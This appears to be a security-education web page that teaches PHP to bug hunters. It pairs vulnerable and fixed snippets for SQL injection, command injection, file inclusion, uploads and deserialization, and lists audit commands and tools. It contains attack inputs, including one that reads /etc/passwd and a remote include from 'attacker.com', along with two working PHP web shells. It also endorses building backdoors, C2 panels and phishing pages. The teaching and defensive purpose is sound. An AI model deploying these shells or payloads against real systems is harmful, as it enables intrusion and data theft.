The essential guide to PHP — the language that powers 75% of the web. Learn PHP to hunt vulnerabilities, audit code, and master web application security.
PHP (PHP: Hypertext Preprocessor) is a server-side scripting language created by Rasmus Lerdorf in 1994. Today it powers over 75% of all websites — including WordPress, Wikipedia, Facebook (historically), and millions of others. If a website is dynamic, there's a very good chance PHP is behind it.
For ethical hackers, PHP is essential knowledge. The vast majority of web application vulnerabilities — SQL injection, XSS, file inclusion, command injection, deserialization — are found in PHP code. If you want to hunt bugs in real-world web applications, you must be able to read, write, and audit PHP.
Most of your bug bounty targets run PHP. Know it or miss the bugs.
Read PHP code to find logic flaws, injections, and auth bypasses.
Write PHP web shells, RCE payloads, and custom exploit scripts.
Find 0-days in WordPress plugins, Laravel apps, and CMS platforms.
PHP bugs pay big. SQLi, RCE, and file upload bypasses are gold.
Build web shells, backdoors, and C2 panels in PHP.
<?php
// hello.php — your first PHP script
echo "Hello, Ethical Hacker!";
?>
$target = "192.168.1.1"; // string
$port = 22; // integer
$ratio = 3.14; // float
$is_open = true; // boolean
$ports = [22, 80, 443]; // array
// String interpolation (double quotes only)
echo "Scanning $target on port $port";
PHP has special variables called superglobals that are automatically populated. These are the primary sources of user input — and the primary attack surface.
| Superglobal | Contains |
|---|---|
$_GET | URL query parameters |
$_POST | POST form data |
$_REQUEST | Both GET and POST |
$_COOKIE | HTTP cookies |
$_SERVER | Server & request info |
$_FILES | Uploaded files |
$_SESSION | Session data |
// Reading user input
$id = $_GET['id'];
$user = $_POST['username'];
$ua = $_SERVER['HTTP_USER_AGENT'];
// ⚠️ NEVER trust this data. Always validate!
// Conditionals
if ($port == 22) {
echo "SSH";
} elseif ($port == 443) {
echo "HTTPS";
} else {
echo "Unknown";
}
// Loops
foreach ($ports as $p) {
echo "Port: $p\n";
}
for ($i = 1; $i <= 10; $i++) {
echo $i;
}
// Functions
function scan_port($host, $port) {
return "Scanning $host:$port";
}
echo scan_port("192.168.1.1", 22);
// ❌ VULNERABLE
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
mysqli_query($conn, $query);
// Attack: ?id=1' OR '1'='1
// ✅ SAFE — prepared statements
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
// ❌ VULNERABLE
$ip = $_GET['ip'];
system("ping -c 1 $ip");
// Attack: ?ip=127.0.0.1; cat /etc/passwd
// ✅ SAFE — escape and validate
$ip = escapeshellarg($_GET['ip']);
system("ping -c 1 $ip");
// ❌ VULNERABLE
$page = $_GET['page'];
include($page . ".php");
// Attacks:
// LFI: ?page=../../../../etc/passwd%00
// RFI: ?page=http://attacker.com/shell
// ❌ VULNERABLE
move_uploaded_file($_FILES['file']['tmp_name'],
"uploads/" . $_FILES['file']['name']);
// Attack: upload shell.php → RCE
// ✅ SAFE — validate extension, MIME, size
$allowed = ['jpg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die("Blocked");
// ❌ VULNERABLE
$data = $_COOKIE['session'];
$obj = unserialize($data);
// Attack: craft serialized object → RCE via __wakeup/__destruct
// Minimal web shell — 1 line
<?php system($_GET['cmd']); ?>
// Usage: shell.php?cmd=id
// URL-encode complex commands: ?cmd=cat%20/etc/passwd
// Slightly stealthier version
<?php
if (isset($_REQUEST['c'])) {
echo "<pre>";
system($_REQUEST['c']);
echo "</pre>";
}
?>
system(), exec(), shell_exec(), eval(), unserialize(), include().$_GET, $_POST, $_COOKIE from entry point to sink.include, require, file_get_contents, move_uploaded_file.extract() — Can overwrite existing variables.preg_replace with /e flag — Historic RCE vector.assert() and create_function() — Both can lead to RCE..php or .phtml?# Find dangerous functions in a codebase
grep -rn "system\|exec\|shell_exec\|eval\|unserialize" ./
# Find SQL query building
grep -rn "mysql_query\|mysqli_query\|->query" ./
# Find include/require with variables
grep -rn "include\|require" ./ | grep "\$"
Intercept, modify, and replay HTTP requests. The gold standard for web testing.
Automatic SQL injection detection and exploitation.
WordPress vulnerability scanner — plugins, themes, users.
Directory and file brute-forcing to find hidden PHP files.
PHP Generic Gadget Chains — for deserialization exploitation.
Stealthy PHP web shell framework for post-exploitation.
Web server scanner — finds misconfigs and dangerous files.
Advanced XSS detection and exploitation suite.
WordPress plugin bugs, Laravel vulnerabilities, and CMS 0-days pay well.
Audit PHP source code for logic flaws and injection bugs.
Test login forms, file uploads, and API endpoints.
Deploy web shells and maintain access on authorized targets.
Build C2 panels, phishing pages, and admin panels.
Web exploitation challenges almost always involve PHP.
htmlspecialchars() before printing user data.$_GET, $_POST, $_COOKIE — Validate every field.php.ini: disable_functions = exec,system,shell_exec.password_hash() — Never store plain or MD5-hashed passwords.session.cookie_secure = 1.Free, world-class web security labs — including PHP-specific challenges.
Modern vulnerable web app with dozens of exploit challenges.
Damn Vulnerable Web App — classic PHP-based training lab.
Legal bug bounty platform. Get paid for legitimate findings.
PHP powers three-quarters of the internet. If you want to hunt web vulnerabilities at scale — bug bounties, pentests, CTFs — PHP literacy is mandatory. You'll read thousands of lines of PHP throughout your security career, and understanding it deeply will separate you from the crowd.
Start with the basics: variables, superglobals, includes, SQL queries. Then move into source code auditing and common vulnerability patterns. Then practice in labs and CTF environments. Within months, you'll be spotting vulnerabilities in PHP code at a glance.
Happy hacking — ethically. 🐘